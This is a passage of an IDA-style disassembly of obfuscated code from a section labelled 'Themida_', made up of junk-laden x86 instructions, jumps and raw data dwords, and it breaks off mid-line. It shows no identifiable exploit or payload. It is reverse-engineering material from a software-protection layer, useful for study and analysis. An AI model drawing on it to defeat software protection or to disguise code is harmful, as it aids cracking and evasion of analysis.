--------------------------------------------------------------------------- dw 0E981h dd 432F45D9h, 0C0C98141h, 812EA561h, 3934F7C9h, 5C18145h dd 180420Ah, 42D59C8h, 87000000h, 895C2404h, 39B1240Ch dd 0FFEFAAE9h, 0FEE3B7FFh, 9CCF80CFh, 0E98FEF80h, 0FFFF80CEh dd 42474FFh, 8324348Bh, 48F04C4h, 71516824h, 34890000h dd 2414F724h, 5E2434FFh, 6804C483h, 0C1Dh, 0FFD8C2E9h dd 4611BEFFh, 0F50920BCh, 0FF63F6E9h, 243487FFh, 243C895Ch dd 42474FFh, 0FF8C77E9h, 4CE956FFh, 33FFFFC9h, 2C31242Ch dd 242C3324h, 5756525Ch, 177333BFh, 5FFE8975h, 0FFFCABE9h dd 2C5004FFh, 0B55166C1h, 88F4E9EAh, 0C89FFFFh, 5B924h dd 0CE310020h, 0D7EB8159h, 0E92E804Ch, 0FFFFA556h ; --------------------------------------------------------------------------- loc_54D900: ; CODE XREF: Themida_:00543A57j pop ebp pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_543165 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8702E983h, 665C240Ch, 66241489h, 699DE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D92A: ; CODE XREF: Themida_:0054D746j add esp, 4 sub esp, 4 mov [esp], edx push edi mov edi, 78D8748Ch mov edx, edi pop edi and edx, 78FA6F97h push 1271h mov [esp], eax mov eax, 2851231Dh or eax, 374D5139h push ecx mov ecx, 42600675h jmp loc_545F8B ; --------------------------------------------------------------------------- dw 335Dh dd 3C31243Ch, 243C3324h, 0FF95D1E9h, 0EC815BFFh, 4, 0FFDEB8E9h dd 42BCBDFFh, 454D4888h, 0C581DDF7h, 488842C0h, 59A7C681h dd 0EE017948h, 59A7EE81h, 685D7948h, 14Eh, 0BB241C89h dd 2, 12F2C681h, 0DE0106E8h, 0FF73F2E9h, 814E46FFh, 5B4A45E6h dd 1AEE91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D9C2: ; CODE XREF: Themida_:005486B7j mov [edi+eax*4+1], ch pop ecx jmp loc_54D527 ; --------------------------------------------------------------------------- loc_54D9CC: ; CODE XREF: Themida_:0054CAA8j mov edi, [esp] add esp, 4 push edi jmp loc_545B62 ; --------------------------------------------------------------------------- loc_54D9D8: ; CODE XREF: Themida_:00546102j mov [esp], edi push edx mov edx, 4C112180h push edx pop edi jmp loc_54DC1D ; --------------------------------------------------------------------------- loc_54D9E8: ; CODE XREF: Themida_:0054B5BEj movzx eax, ax push small 18EBh jmp loc_544742 ; --------------------------------------------------------------------------- dd 53D830ACh, 0C381E389h, 4, 0FFF897E9h, 8BF901FFh, 55505901h dd 0A46962BDh, 9993E946h, 0C683FFFFh, 24348702h, 2404205Ch dd 106BE99Ch, 0BB530000h, 4, 0B8E9DA01h, 68FFFF87h, 33A5h dd 24048F54h, 4240483h, 0FF9D7EE9h, 57D829FFh, 0DE83E956h dd 489FFFFh, 11685724h, 8B043664h, 0CFE9243Ch, 87000017h dd 0F2E92404h, 57FFFFCEh, 0AB1A2ABFh, 0CBEF817Eh, 81409208h dd 4652C7h, 8CF78129h, 3150542Ch, 0C2015FF8h, 0FFD02158h dd 11E92434h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA8F: ; CODE XREF: Themida_:0054586Aj jmp loc_543165 ; --------------------------------------------------------------------------- loc_54DA94: ; CODE XREF: Themida_:005448D4j pop esp mov [esp], edx mov edx, 7A9D1F7Ch mov ebp, 2226603Dh jmp loc_54D71F ; --------------------------------------------------------------------------- loc_54DAA7: ; CODE XREF: Themida_:0054450Cj dec bl jmp loc_54A3F3 ; --------------------------------------------------------------------------- loc_54DAAE: ; CODE XREF: Themida_:0054DEBEj sub esp, 4 jmp loc_548882 ; --------------------------------------------------------------------------- dw 0DF09h dd 0FFC819E9h, 2C895CFFh, 2800BD24h, 0F58129B1h, 0EE83B1Bh dd 0D2AED81h, 0F5816E3Bh, 0B91E01F1h, 0FFB0D5E9h, 5750B8FFh dd 58E96B2Bh, 0FFFFFBDh, 0E955C0B6h, 0FFFF719Bh, 0E904E883h dd 0FFFF58D5h, 66F5E580h, 800B652h, 805A66F5h, 0C5804BF5h dd 222E91Eh, 81580000h, 240797C3h, 0FBEB8139h, 5F6EB37Bh dd 42E9008Fh, 87FFFF56h, 248B240Ch, 5AD38924h, 34FFDE89h dd 89525B24h, 1225E9E2h, 1C890000h, 4BB24h, 0D9210000h dd 81241C8Bh, 4C4h, 0AE9C100h, 432D68h, 24148900h, 0E9565553h dd 0FFFFE037h, 6824048Bh, 65EDh, 0E9240C89h, 0FFFF882Ch dd 0C681D6F7h, 86AFBFCAh, 0FFAC80E9h, 86EE81FFh, 81624015h dd 0BF0156E6h, 12F6812Dh, 890CB000h, 0E8015EF5h, 74FF505Dh dd 8F580424h, 248B2404h, 0E1F76624h, 6C9468h, 24148900h dd 0E6685A54h, 8900007Bh, 0BB532404h, 422A305Ah, 0D3F7DBF7h dd 56EB8143h, 89422A30h, 0C2015BD8h, 0FF67C0E9h, 148758FFh dd 0E6FAE924h, 0EE01FFFFh, 25D7EE81h, 0DFE96EBBh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBE7: ; CODE XREF: Themida_:0054A947j sub edx, eax pop eax add edx, edi add edx, 386A6648h pop edi add edx, 4 xchg edx, [esp] pop esp push edi jmp loc_548243 ; --------------------------------------------------------------------------- loc_54DC00: ; CODE XREF: Themida_:005460BEj push esi mov esi, 6E402479h not esi jmp loc_5453C1 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 405E089h, 51000000h, 0FF6B8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC1D: ; CODE XREF: Themida_:0054D9E3j mov edx, [esp] add esp, 4 shl edi, 1 push ecx mov ecx, 625C72A3h add ecx, 63736C4Ch xor ecx, 102261CDh push esi mov esi, 0DCA5CC5h add ecx, esi pop esi xor ecx, 24F903FCh jmp loc_54F473 ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 24048F58h, 0E9F1F65Ch, 0FFFFAB5Bh ; --------------------------------------------------------------------------- loc_54DC5C: ; CODE XREF: Themida_:0054E6B2j mov ebx, 46BA6855h push eax mov eax, 28E7567h sub eax, 0ABD027A9h jmp loc_5431F6 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 5 dd 0F2814A4Ah, 85644182h, 4EDEEF81h, 0E9557292h, 0FFFF74E2h dd 28F4C780h, 8D18E9CFh, 0E958FFFFh, 0FFFF8146h, 295DE829h dd 7B9605C8h, 0C0E91D90h, 5EFFFFF0h, 0C15DEE29h, 0E95102E6h dd 0FFFF85EFh ; --------------------------------------------------------------------------- loc_54DCB4: ; CODE XREF: Themida_:00545CD9j mov ch, 1 sub bl, ch jmp loc_54AEF4 ; --------------------------------------------------------------------------- db 5, 0BDh, 6 dd 665B0FE5h, 6800B60Fh, 3367h, 0FFB00AE9h, 4077FFFFh dd 0FF548CE9h, 4BB050FFh, 0C228EE2Ch, 5AD73058h, 534EE780h dd 1245CF6h, 0BCF0E95Bh, 0E6C1FFFFh, 0BDC68106h, 89239077h dd 0F8015EF7h, 0E189515Fh, 4C181h, 0E9830000h, 0ECF1E904h dd 4EE9FFFFh, 81FFFF54h, 62560DC3h, 5BDE31B4h, 348BF731h dd 0CC22E924h, 0E95BFFFFh, 0FFFF76CDh, 0C059E830h, 0E0D007E0h dd 3403E8C0h, 0FFC72071h, 81582434h, 4C4h, 3EFC000h, 0B151CFFEh dd 8149E9A3h, 3C8BFFFFh, 4C48324h, 0FFAB6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DD61: ; CODE XREF: Themida_:005498E1j shl bh, 3 jmp loc_54CB46 ; --------------------------------------------------------------------------- loc_54DD69: ; CODE XREF: Themida_:0054674Ej mov edi, 77AA13E5h and edi, 699008ECh add edi, 4091383Ch jmp loc_546B3F ; --------------------------------------------------------------------------- db 52h dd 0FF5EE6E9h, 7BC681FFh, 0E912E243h, 0 dd 0CBBFEE81h, 0F7098D0Eh, 0EF81475Eh, 1737A707h, 0FF6A41E9h dd 13EA81FFh, 0E90F3135h, 0FFFFDFE0h ; --------------------------------------------------------------------------- loc_54DDB0: ; CODE XREF: Themida_:loc_546521j jnz loc_54F012 push edi sub esp, 4 jmp loc_5491F1 ; --------------------------------------------------------------------------- dw 0EE81h dd 1E3058C0h, 5DE9FE01h, 89FFFFF7h, 1CE92414h, 68FFFFEAh dd 7DBFh, 89243489h, 4BB53E6h, 1000000h, 2434FFDEh, 0B2E9555Bh dd 8BFFFFC1h, 17E92424h, 0BBFFFFFFh, 74C5524Bh, 0FFA87CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DE05: ; CODE XREF: Themida_:00545C7Bj push edi xor dword ptr [esp], 11DC75E2h pop ebx xor ebx, 11DC75E2h jmp loc_544E19 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 5156E189h, 717F84B9h, 8080BE0Eh, 0CE01F18Eh, 8BF10159h dd 0C4812434h, 4, 4BA5256h, 0E9000000h, 0FFFFEEA2h, 89241C89h dd 0DB8EE9E3h, 0FBBFFFFh, 892B544Eh, 0CD815BDDh, 4D1C51B9h dd 0FF8024E9h, 228B05FFh, 0B8501F1Eh, 774D25C2h, 12DD0F7h dd 35000000h, 0BFB2B831h, 0FFDE1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DE7D: ; CODE XREF: Themida_:0054AFF1j sub edx, 48720004h add esi, 41BE2416h jmp loc_54A289 ; --------------------------------------------------------------------------- loc_54DE8E: ; CODE XREF: Themida_:00549EF1j xor eax, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax push edi jmp loc_546DE5 ; --------------------------------------------------------------------------- loc_54DEA1: ; CODE XREF: Themida_:0054D479j push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi jmp loc_54DAAE ; --------------------------------------------------------------------------- db 0FEh dd 68CFh, 3C280000h, 243C8A24h, 8004C483h, 8E97AF7h, 81FFFF79h dd 6A5113C2h, 51F28133h, 0E93462EAh, 0FFFFEE5Bh, 0D0003804h dd 148B382Ch, 4C48324h, 28ECB652h, 55045AF0h, 552CD800h dd 8951EC04h, 0E6BB53E1h, 0F759545Bh, 81D3F7D3h, 0ABA41EC3h dd 0E9D901A6h, 0FFFF8173h ; --------------------------------------------------------------------------- loc_54DF20: ; CODE XREF: Themida_:0054D49Ej xor eax, edx pop edx push small word ptr [eax] jmp loc_543165 ; --------------------------------------------------------------------------- loc_54DF2B: ; CODE XREF: Themida_:00546E09j push ecx mov ecx, 0FFFFFFFFh jmp loc_54E863 ; --------------------------------------------------------------------------- dw 24D3h dd 26E99C24h, 66FFFF52h, 81241C89h, 4ECh, 24148900h, 0FF60B7E9h dd 0AFF581FFh, 315F9B1Ah, 9685DEBh, 0E9000026h, 0FFFF6C3Dh dd 0E9240433h, 0FFFFF178h, 4BFh, 0E9FB0100h, 0FFFF5772h dd 38E9C701h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DF7F: ; CODE XREF: Themida_:0054A2D1j mov esp, [esp] and eax, ebx pop ebx or eax, eax jz loc_54F012 push 13B0h mov [esp], edx mov edx, 28h sub esp, 4 mov [esp], esi jmp loc_54D435 ; --------------------------------------------------------------------------- db 57h, 0BFh, 30h dd 0F733660Ch, 2AC781D7h, 0E93ECB1Eh, 0FFFFE33Bh, 1B27BE56h dd 0F3290F2Dh, 148B665Eh, 0E9545524h, 0FFFFCEDCh, 5C243487h dd 56E78957h, 0D2FE9h, 243C8900h, 0FF7983E9h, 48B66FFh dd 0E0895024h, 405h, 4E88300h, 5C240487h, 68243489h, 7659h dd 81242489h, 42404h, 40E90000h, 81FFFF6Eh, 4C4h, 4BE5600h dd 29000000h, 0D6E95EF7h, 59FFFFB4h, 4B3BBD55h, 2FE94B2Eh dd 83FFFFAEh, 356804C3h, 89000075h, 74FF241Ch, 8F5B0424h dd 248B2404h, 240C8B24h, 148B5452h, 4C48124h, 68000000h dd 152h, 0FF646EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E059: ; CODE XREF: Themida_:00546D24j sub esi, 754C1D9Bh push esi neg dword ptr [esp] jmp loc_54CA1B ; --------------------------------------------------------------------------- dd 8124248Bh, 4ECh, 7478E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E076: ; CODE XREF: Themida_:005431F1j mov ah, dh push 552Ch mov [esp], edx push ebx mov bl, ah jmp loc_546A0B ; --------------------------------------------------------------------------- loc_54E088: ; CODE XREF: Themida_:0054B365j shr edx, 1 cmp eax, edx jmp loc_548C7A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFEEDEE9h, 0B82CACFFh, 0FFF702E9h, 1C7709FFh, 0DE01E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E0AA: ; CODE XREF: Themida_:00544AC6j add esi, ecx push eax mov eax, 721D3F9Bh jmp loc_54BDDB ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5B69E900h, 483FFFFh, 0D8E90424h, 8BFFFFC1h, 58E92424h dd 1FFFFA9h, 0EF84E9F0h, 0C280FFFFh, 0E660E995h, 3D68FFFFh dd 0E9000035h, 0FFFFC3D5h, 5304C483h, 846130BBh, 77BD5535h dd 8168F44Bh, 0BB488C5h, 0F3B4E997h, 0B7B9FFFFh, 8129D575h dd 0F034B4C1h, 0E9CB0101h, 0FFFFCD7Fh, 48BC731h, 4C48324h dd 7C95C781h, 0C7816095h, 45382A86h, 8DD5C781h, 0F8014FE1h dd 0E9D8295Fh, 0FFFF73BDh, 489665Ch, 501FE924h, 0F766FFFFh dd 846850F9h, 8900006Dh, 5AE92424h, 81FFFFE2h, 0D47653F3h dd 0C6EF8139h, 1093E43h, 0C6C781DFh, 5B093E43h, 0FFD971E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E171: ; CODE XREF: Themida_:0054D6E9j mov [esp], edx pop eax push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, 6A901FE2h shr ebp, 8 push edx mov edx, 58CF5F48h and ebp, edx pop edx push 77E4h mov [esp], eax jmp loc_548B00 ; --------------------------------------------------------------------------- dw 0CBBFh dd 0E92AB133h, 0FFFF956Bh, 0A15DEBFh, 14F75772h, 0BB535F24h dd 27085AA7h, 0FFF8F9E9h, 241489FFh, 44DE9h, 2C815A00h dd 0EB3A7E24h, 24040130h, 5E08950h, 4, 42Dh, 24048700h dd 0DB60E95Ch, 0EF81FFFFh, 67654F39h, 3515F781h, 0FD01E422h dd 0E9243C8Bh, 0FFFFE9E4h, 240C8B66h, 0FFFBD2E9h, 2434FFFFh dd 81240C8Bh, 4C4h, 4EC8300h, 89243C89h, 4B951E7h, 1000000h dd 0AE6BE9CFh, 0D6F7FFFFh, 0FFA087E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E22D: ; CODE XREF: Themida_:0054D021j push dword ptr [esp] jmp loc_54BDC8 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0C4240481h, 5B766234h, 34C4EB81h, 0B4E97662h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E24B: ; CODE XREF: Themida_:00545CF7j push dword ptr [esp+4] jmp loc_545843 ; --------------------------------------------------------------------------- dd 5C241C87h, 0B9240C89h, 2, 0FFED87E9h, 4C481FFh, 1000000h dd 2C875BDDh, 24248B24h, 24048B66h, 8904EC83h, 0DA682404h dd 0E9000076h, 0FFFFE3FBh, 0BD242C89h, 4, 815DE901h, 4C1h dd 0E60E900h, 0EFC10000h, 0C7814706h, 1, 4FACC781h, 0C7812BB0h dd 0D2539A6Ch, 575FF901h, 0C781E789h, 4, 0E904EF83h, 0FFFFC426h dd 7933C381h, 0DA01AF3Ah, 7FEA815Bh, 8153FA38h, 240DB8EAh dd 0E9C2017Bh, 0A9h, 9D1C77FFh, 4105866h, 72E99C24h, 5BFFFF4Eh dd 5804C483h, 3C8BF821h, 4C48324h, 0FF9BD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E305: ; CODE XREF: Themida_:0054A6AAj xor eax, ecx xchg eax, edi xchg ecx, edi not ecx xchg ecx, edi push 7985h mov [esp], eax push edi mov eax, [esp] add esp, 4 jmp loc_54BA9D ; --------------------------------------------------------------------------- dw 0F781h dd 0D54B58FAh, 0F2E9FB21h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E32F: ; CODE XREF: Themida_:00543D9Dj or edx, eax shl edx, 1 push 1667h jmp loc_543316 ; --------------------------------------------------------------------------- loc_54E33D: ; CODE XREF: Themida_:00548897j shl ecx, 1 jmp loc_54B209 ; --------------------------------------------------------------------------- dd 243C895Ch, 468h, 0F8015F00h, 0FF5CD5E9h, 23EF81FFh dd 81355639h, 49F7CBF7h, 0E9F9296Eh, 0FFFF80F3h ; --------------------------------------------------------------------------- loc_54E368: ; CODE XREF: Themida_:0054AEF9j sub al, 0F1h mov ebx, [esp] push esi mov esi, esp push ebp mov ebp, 4875596Bh jmp loc_545122 ; --------------------------------------------------------------------------- db 0B8h dd 6BF384FBh, 26E9C731h, 54FFFF51h, 0FFD04FE9h, 0B8C281FFh dd 817B240Dh, 0FA387FC2h, 2EEA8153h, 811AD731h, 16012AEAh dd 4EC8310h, 0E9241C89h, 0FFFF8AB2h, 7E9C141h, 5194E181h dd 0F181424Fh, 4118782Ch, 5659C821h, 7B0130BEh, 5EF03152h dd 99E9C629h db 3 dup(0) ; --------------------------------------------------------------------------- loc_54E3D3: ; CODE XREF: Themida_:0054F387j jz loc_54D012 push ebx push 1Ch push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_543334 ; --------------------------------------------------------------------------- db 0B1h, 46h, 30h dd 0C8B66CFh, 2C48324h, 53356866h, 24148966h, 0D728BDB2h dd 24148B66h, 0FF5595E9h, 4C681FFh, 51000000h, 4B9h, 59CE2900h dd 5C243487h, 0BE243489h, 66460250h, 0FF6D7FE9h, 25EB81FFh dd 174146Ch, 5C72E9D9h, 0E5C1FFFFh, 97B6E905h, 0DA01FFFFh dd 0FCB9515Bh, 0E9342F2Ah, 0FFFFDC49h, 5147F987h, 3AE95957h dd 5CFFFFDEh, 83E9h, 0E9EE0100h, 0FFFF8966h, 81FE0158h dd 323104C6h, 243C8B53h, 0FFCA93E9h, 0E5CA81FFh, 816D7703h dd 0E4E698C2h, 5AD1890Ch, 4244481h, 4DF75A93h, 4246C81h dd 44857D33h, 0FF51DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E4A1: ; CODE XREF: Themida_:00545C02j mov edx, 1D817DEBh xor ecx, edx jmp loc_54844A ; --------------------------------------------------------------------------- db 0Fh, 0B6h, 0C0h dd 0E987048Fh, 0FFFFBCB7h, 83241C8Bh, 885A04C4h, 0D50858E2h dd 9B5CE95Ah, 0DE21FFFFh, 81DEF75Bh, 181002C6h, 5EF10120h dd 5C240C87h, 6602EC83h, 0E9243489h, 0FFFF6D01h, 81E78957h dd 4C7h, 4EF8100h, 0E9000000h, 0FFFFB9BCh, 4C4815Ch, 0E9000000h dd 0FFFF7104h, 0F0C3E952h, 0B850FFFFh, 3C3637DEh, 0E9D8F740h dd 0FFFFCB3Ah, 8124148Bh, 4C4h, 0EBE98100h, 8157CE44h dd 0B97BF6C1h, 9C64E958h, 0DA20FFFFh, 0B450515Bh, 58E1886Bh dd 0B652C9FEh, 4EEC0D7h, 0F680DEF6h, 5AF1301Ch, 8059CA30h dd 0EA803EE2h, 5AD02883h, 0FE39B151h, 3DC180C9h, 0E981E980h dd 3BCh, 0EBC1D3F7h, 6807h, 1C290000h, 0F7535B24h, 555B2414h dd 723A5BBDh, 7CED8177h, 0C100B909h, 0F58103E5h, 72A55FD4h dd 7A08B850h, 760D1CC7h, 0E949F510h, 0FFFFB5E3h, 0E904C483h dd 0FFFF7AFAh, 24048B66h, 3DE268h, 241C8900h, 251E68h dd 24248900h, 4240481h, 0E9000000h, 0FFFFBE73h, 333DC181h dd 15D4079h, 0C20159CAh, 2AD9EA81h, 0EA814A4Eh, 61113CEDh dd 0FFC7AAE9h, 67BABBFFh, 0D3F704F5h, 0FF9F58E9h, 91E681FFh dd 684B2217h, 1AA6h, 0FFF2E5E9h, 0B4C281FFh, 0F739423Bh dd 5864E9D2h, 0BAFFFFh, 0E9000000h, 0FFFFCC75h ; --------------------------------------------------------------------------- loc_54E61C: ; CODE XREF: Themida_:0054B75Bj pop edx add edx, 4 jmp loc_545C9F ; --------------------------------------------------------------------------- dd 2001BD55h, 0F5810EB9h, 453D1D98h, 0E0E9E829h, 5AFFFF71h dd 0C7D801h, 0 dd 8324048Bh, 1C8B04C4h, 4C48124h, 61000000h, 0AE9C39Dh dd 0FFFFFF4Bh, 5E042474h, 5C24048Fh, 709E68h, 9DFCE900h dd 895CFFFFh, 2B82404h, 0E9000000h, 0FFFF74D2h, 0E95B6658h dd 0FFFF91A3h, 840FC009h, 0FFFFD28Ah, 0FF1C77FFh, 34FF2434h dd 240C8B24h, 0E9E68956h, 0FFFF57F5h ; --------------------------------------------------------------------------- loc_54E6A0: ; CODE XREF: Themida_:00544913j xor al, dl mov dx, [esp] push edx push esp mov edx, [esp] add esp, 4 push ebx jmp loc_54DC5C ; --------------------------------------------------------------------------- db 0FFh dd 0DCE92434h, 83FFFFADh, 2C8704C5h, 0BA525C24h, 2, 6141EE81h dd 0D60120D6h, 6141C681h, 0E95A20D6h, 0FFFF7D52h, 4E981h dd 0C870000h, 2C895C24h, 81E58924h, 4C5h, 2ED8300h, 5C242C87h dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF4A59h, 5902EB80h dd 0EC83C328h, 240C8904h, 536601B1h, 0D930CFB3h, 0B2525B66h dd 0A7C280A1h, 0FFE380E9h, 24048BFFh, 5104C483h, 3E9E189h dd 81FFFFB6h, 0B740F9C6h, 240C8B3Dh, 4C481h, 0C6830000h dd 24343302h, 33243431h, 248B2434h, 0E9E9F624h, 0FFFF6421h dd 0FD86D7F6h, 8003EDC0h, 0F580D5F5h, 0C6E0E9BDh, 0F281FFFFh dd 374A797Eh, 4D15C281h, 0C14A0B8Bh, 0F28102EAh, 5C163C1Dh dd 815AD101h, 783748E1h, 0C1D1F72Ah, 0E98107E9h, 8C519A56h dd 4859C821h, 80CCC205h, 0F96EE94Fh, 0C581FFFFh, 7D652822h dd 3078CD81h, 0C5811127h, 1E9A6253h, 0FF7946E9h, 0E78957FFh dd 4C781h, 0EF830000h, 78B9E902h, 4C01FFFFh, 44810424h dd 10E90424h, 0C8B7405h, 4C48124h, 0E9000000h, 0FFFF4979h dd 2781CF81h, 0E7C13EF0h, 6EFC108h, 5DA1EF81h, 0F7812017h dd 0E3D4620Fh, 9CE9F801h, 5AFFFFEDh, 9AE9C330h, 81FFFFFCh dd 4C4h, 59CA8900h, 0FF4944E9h, 493FE9FFh, 0CB81FFFFh dd 64816C48h, 8703EBC1h, 0D38742D3h, 0FFA557E9h, 4875FFFh dd 0E394E924h, 1EE9FFFFh, 0BEFFFF49h, 8121C09h, 814ED6F7h dd 8563CF6h, 3BC68116h, 891E1A4Ah, 0CFE95EF5h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E863: ; CODE XREF: Themida_:0054DF31j sub edx, ecx pop ecx jmp loc_548F4F ; --------------------------------------------------------------------------- loc_54E86B: ; CODE XREF: Themida_:0054D35Dj pop edi sub ebx, edx mov edx, [esp] add esp, 4 jmp loc_54C7C4 ; --------------------------------------------------------------------------- loc_54E87C: ; CODE XREF: Themida_:005493E7j push esi mov esi, esp push edi mov edi, 32E60B54h shl edi, 4 sub edi, 2E60B53Ch add esi, 713E5F9Eh add esi, edi sub esi, 713E5F9Eh mov edi, [esp] jmp loc_54F48F ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFB672h, 9D1C77FFh, 4185866h, 0AAE99C24h dd 1FFFF48h, 0E8C15FF8h, 0D9B95102h, 0C1084B19h, 0BA5204E1h dd 1747CF6h, 0FFFE9DE9h, 10EF81FFh, 682C137Bh, 2F5Fh, 0B9240C89h dd 6C1F0915h, 86E9h, 58C12900h, 8359C801h, 0E95002E8h dd 8BCh, 0E95AD729h, 0FFFFFA1Eh ; --------------------------------------------------------------------------- loc_54E904: ; CODE XREF: Themida_:00549A33j and ecx, edx pop edx shr ecx, 7 push ebx push esi jmp loc_549441 ; --------------------------------------------------------------------------- loc_54E911: ; CODE XREF: Themida_:00547568j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, esp push edx mov edx, 4 jmp loc_543C31 ; --------------------------------------------------------------------------- aA8ase db '8',0 aY db 'Y',0 dw 68C3h dd 1359h, 0B6241489h, 0C0DEF6B2h, 0E6C006EEh, 5A23E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E94A: ; CODE XREF: Themida_:0054705Aj push 5DE915E0h mov ebp, [esp] jmp loc_54329A ; --------------------------------------------------------------------------- db 5Bh dd 8904EC83h, 0B9512404h, 182A4038h, 2A403AB8h, 59C83118h dd 0A2E9C601h, 49FFFF91h, 0A90E981h, 0E181164Ch, 2F5D1F9Ch dd 600FE981h, 0CF31072Bh, 0E9FB8959h, 0FFFFB66Fh ; --------------------------------------------------------------------------- loc_54E990: ; CODE XREF: Themida_:0054B975j mov [edx], al pop edx pop ebx pop eax pop ebx jmp loc_543165 ; --------------------------------------------------------------------------- db 0B6h dd 0D4F6809Dh, 0FF6661E9h, 0F48859FFh, 0EA7BE95Ah, 5066FFFFh dd 47AFE99Ch, 0EF81FFFFh, 4, 8B243C87h, 34892424h, 79F06824h dd 25E95B53h, 81FFFFB6h, 1C233EC2h, 5AD38910h, 0FFD142E9h dd 0E28952FFh, 0FF9976E9h, 0A42DADFFh, 83070B15h, 0B7E904ECh dd 80FFFF81h, 0ED807CF5h, 8BEA306Ah, 0C481240Ch, 4, 34FFD030h dd 9117E924h, 0EC81FFFFh, 4, 0E9240489h, 0FFFF9C1Ch ; --------------------------------------------------------------------------- loc_54EA1C: ; CODE XREF: Themida_:00547665j pop ebx mov bl, cl pop ecx jmp loc_54969E ; --------------------------------------------------------------------------- db 66h, 85h, 0C8h dd 95D0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA2E: ; CODE XREF: Themida_:0054A320j mov [esp], ebp jmp loc_544EFC ; --------------------------------------------------------------------------- dw 0E3C1h dd 0BF575505h, 3F0A2462h, 0E494E94Fh, 8166FFFFh, 8B02246Ch dd 4C016641h, 81660224h, 8B022444h, 0C8B6641h, 0E7895724h dd 4C781h, 0C7810000h, 2, 5C243C87h, 0FFFDACE9h, 48F58FFh dd 0C895C24h, 0D9BD5524h, 554A4E2Ah, 3D242C81h, 59407933h dd 0FFFB3BE9h, 46CFE9FFh, 31ADFFFFh, 0C20DE9D8h, 0CF29FFFFh dd 24048B59h, 4C481h, 0F8290000h, 5D8295Fh, 3230313Dh dd 4EC8353h, 68242C89h, 436059F9h, 5D2434FFh, 4C481h, 0EDC10000h dd 0FA3CE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EAD2: ; CODE XREF: Themida_:0054CFCBj xchg esi, ebp xor ebp, 7C926D7h xor ebp, 0C2FD8F2Ch add edi, ebp mov ebp, [esp] add esp, 4 push eax mov eax, 4 jmp loc_544DC7 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF6985h, 4F96C781h, 0E781421Eh, 290F3241h, 4EC81h dd 14890000h, 7F1CBA24h, 0D7291748h, 0F5C4E95Ah, 0ED80FFFFh dd 0CBE580D4h, 55D2E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB2A: ; CODE XREF: Themida_:005434A1j mov [esp], ecx mov ecx, 7A747339h jmp loc_54B018 ; --------------------------------------------------------------------------- db 66h dd 6824148Bh, 1173h, 68243489h, 24B0h, 81242489h, 42404h dd 34FF0000h, 0C4815E24h, 4, 0FFCBE4E9h, 32BF57FFh, 8153CC22h dd 0DB0B50C5h, 81FD0138h, 0DB0B50EDh, 36685F38h, 89000025h dd 92BA2414h, 93A0351h, 24148BD5h, 4D04C483h, 0E2CEC581h dd 45E93FB6h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB97: ; CODE XREF: Themida_:005448C0j push ecx push eax mov eax, 4 mov ecx, eax pop eax add eax, ecx jmp loc_54B7A6 ; --------------------------------------------------------------------------- dd 8704E983h, 91E9240Ch, 1FFFFF7h, 240C8BC8h, 0FF490AE9h dd 24048BFFh, 0FF7FD2E9h, 88DA88FFh, 24148BD0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54528E ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0FFF917E9h, 4C281FFh, 81000000h, 4C2h, 24148700h, 2DC3805Ch dd 0EB80C300h, 0E9B5512Dh, 20E9EB28h, 0BDFFFF98h, 4, 4246C01h dd 243C8B5Dh, 4C481h, 9AE90000h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC1F: ; CODE XREF: Themida_:00543B88j push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor bl, al push edx push ebx mov bh, al mov dh, bh pop ebx push ebx jmp loc_5431F0 ; --------------------------------------------------------------------------- dw 0A68h dd 0FF000000h, 81592434h, 4ECh, 0F1C3E900h, 34FFFFFFh dd 2434FF24h, 0E2895258h, 0FFE819E9h, 0C18159FFh, 44D00D33h dd 0FF7C33E9h, 0EBBA52FFh, 